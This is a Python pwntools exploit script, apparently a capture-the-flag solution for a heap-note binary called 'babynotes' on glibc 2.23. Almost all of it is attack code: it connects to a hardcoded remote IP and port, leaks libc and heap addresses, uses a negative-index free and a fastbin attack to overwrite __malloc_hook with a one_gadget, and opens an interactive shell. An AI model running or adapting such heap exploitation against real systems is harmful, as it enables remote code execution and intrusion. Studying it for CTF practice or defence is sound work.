1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
|
from pwn import * import sys context.log_level = 'debug' pwn_name = "babynotes" arch = '64' version = '2.23' ip, port = '123.56.170.202', 43121
if sys.argv[1]=="l": p=process('./'+pwn_name) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) else: p=remote(ip,port) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
elf=ELF(pwn_name,checksec=False)
def get_one(): if(arch == '64'): if(version == '2.23'): one = [0x45226, 0x4527a, 0xf0364, 0xf1207] if (version == '2.27'): one = [0x4f2c5 , 0x4f322 , 0x10a38c] return one
def sym(func): success('{} => {:#x}'.format(func , libc.sym[func])) return libc.sym[func]
def info(con,leak): success('{} => {:#x}'.format(con,leak))
def dbg(address=0): if address==0: gdb.attach(p) pause() else: if address > 0xfffff: script="b *{:#x}\nc\n".format(address) else: script="b *$rebase({:#x})\nc\n".format(address) gdb.attach(p, script)
one = get_one()
def register(name,motto,age): p.sendafter("name: \n",name) p.sendafter("motto: \n",motto) p.sendlineafter("age: \n",str(age))
def choice(idx): p.sendlineafter(">> ", str(idx))
def add(idx, size): choice(1) p.sendlineafter('\n', str(idx)) p.sendlineafter('\n', str(size))
def free(idx): choice(3) p.sendlineafter('\n',str(idx))
def edit(idx, content): choice(4) p.sendlineafter('\n',str(idx)) p.sendafter('\n', content)
def show(idx): choice(2) p.sendlineafter('\n',str(idx))
register("n"*0x17,"a"*0x20,0x66666666)
add(0,0x80) add(1,0x68) add(2,0x80) add(3,0x68)
free(0) free(2) add(0,0x80) add(2,0x80)
show(0) leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) libc.address=leak-0x3c4b78 info("leak",leak) info("libc",libc.address)
edit(0,'a'*8) show(0) p.recvuntil("a"*8) leak=u64(p.recv(4).ljust(8,'\x00')) heap_addr=leak-0x230 info("leak",leak) info("libc",heap_addr)
choice(5) register("n"*0x17,"a"*0x20,heap_addr+0x1d0) free(-3) edit(1,p64(libc.sym["__malloc_hook"]-0x23)) free(0) free(2) add(0,0x68) add(2,0x68)
edit(2,'a'*0x13+p64(one[3]+libc.address)) free(0) add(0,0x10) p.interactive()
|